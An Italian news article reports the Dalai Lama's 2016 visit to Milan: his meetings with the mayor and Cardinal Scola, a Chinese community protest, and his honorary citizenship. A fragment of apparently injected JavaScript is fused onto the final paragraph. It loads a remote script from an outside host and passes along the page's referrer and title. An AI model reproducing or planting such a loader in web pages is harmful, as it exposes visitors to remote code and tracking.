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martedì 24 ottobre 2017 09:42:07
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Il Dalai Lama incontra il sindaco e l’arcivescovo Scola. Cittadino onorario di Milano, protesta la comunità cinese

20 ottobre 2016 Cronaca, Politica

Schermata del 2016-10-20 10:43:25“Milano città aperta. Nel passato, nel presente e nel futuro”. Lo scrive il sindaco Giuseppe Sala postando una foto su Facebook insieme al Dalai Lama che il primo cittadino ha incontrato stamani all’aeroporto di Linate. Il Dalai Lama, dopo l’incontro con il sindaco, è arrivato in Arcivescovado, dove e’ stato accolto nel cortile d’Onore dal cardinale Angelo Scola. Sua santita’ ha offerto all’arcivescovo la kata, la tradizionale sciarpa bianca tibetana, segno di saluto e segno di buon auspicio. Con questa al collo, Scola lo ha accompagnato al primo piano, nella Sala del Trono, per l’incontro riservato. Scola ha accompagnato Tenzin Gyatso, tenendolo per mano, nella sala in cui si e’ svolto l’incontro. Presenti una dozzina di persone: partecipano anche monsignor Luca Bressan, vicario episcopale per il dialogo interreligioso, e una delegazione di vescovi ausiliari e persone impegnate sul tema del dialogo interreligioso.

L’INCONTRO CON SCOLA –  “Ho ringraziato molto il Dalai Lama per aver scelto Milano e ho inserito nel nostro dialogo il riferimento allo speciale momento che sta passando Milano, di effettivo risveglio, in cui le possibilita’ stanno generando una nuova responsabilita’”. Così il cardinale Angelo Scola, nella parte conclusiva del suo incontro con Tenzin Gyatso, che e’ stata aperta alla stampa. “Questo ha permesso di rivolgere uno sguardo alla situazione mondiale e di auspicare un comune confronto nella generazione dell’amore, della pace e della tolleranza”.

WhatsApp Image 2016-10-20 at 11.45.39LA PROTESTA DELLA COMUNITÀ CINESE AGLI ARCIMBOLDI – “Abbiamo detto che come figura religiosa non abbiamo nessun problema” col Dalai Lama, “abbiamo paura che sia una speculazione politica perché poi ci sono anche le dichiarazioni di chi ha promosso questa cosa che sono speculazioni politiche. Noi invitiamo Milano a dare la cittadinanza onoraria a tutti i premi Nobel e se lo facessero smentirebbero questa nostra preoccupazione”. Lo ha detto Francesco Wu, presidente dell’unione imprenditori Italia-Cina, intervenendo al presidio della comunità cinese davanti al teatro degli Arcimboldi.

 

S20A1383~2DALAI LAMA: PROTESTE CINESI? NORMALI, ALCUNI TESTARDI – Le proteste delle comunita’ cinesi “sono una cosa piuttosto normale, avviene sempre” in occasione delle sue visite “da parte di cinesi o comunita’ cinesi, ma io non promuovo l’indipendenza dal Tibet, noi vogliamo rimanere con la comunita’ cinese ma alcuni molto testardi dicono che io sono separatista. Assolutamente no”. Così il Dalai Lama, nella parte conclusiva del suo incontro con il cardinale Angelo Scola, ha risposto ai giornalisti riguardo alle polemiche e alle proteste per la sua visita da parte della comunita’ cinese. “E’ normale”, ha ribadito: “Alcuni protestano per ignoranza, altri sono organizzati apposta dall’ambasciata cinese. Pero’ se poi incontrate queste persone individualmente, magari la pensano diversamente. Io molte volte ho incontrato studenti e professori cinesi e all’inizio c’e’ sempre un po’ di diffidenza, che poi svanisce completamente e alla fine dell’incontro siamo tutti grandi amici”.

s20a2206~2-resized-1400“UFFICIALMENTE CITTADINO MILANESE” – Il Dalai Lama ha ricevuto dalle mani del presidente del consiglio comunale Lamberto Bertolè una pergamena come simbolo della cittadinanza onoraria di Milano. “Sua santità- ha detto Bertolè dal palco – il consiglio comunale di Milano le ha conferito la cittadinanza onoraria in nome delle milanesi e dei milanesi. Ho l’onore di dar corso a quella decisione e di dichiararla ufficialmente cittadino milanese”.  “Sono molto onorato di essere stato nominato cittadino onorario di questa città così famosa. L’ho apprezzato moltissimo”, ha detto il Dalai Lama. Accogliendo l’onorificenza dal presidente del consiglio comunale Lamberto Bertolè,  ha poi scherzato: “Nell’accettare la cittadinanza vorrei sapere quali sono i miei diritti e doveri”, anche se “mi interessano più i diritti”.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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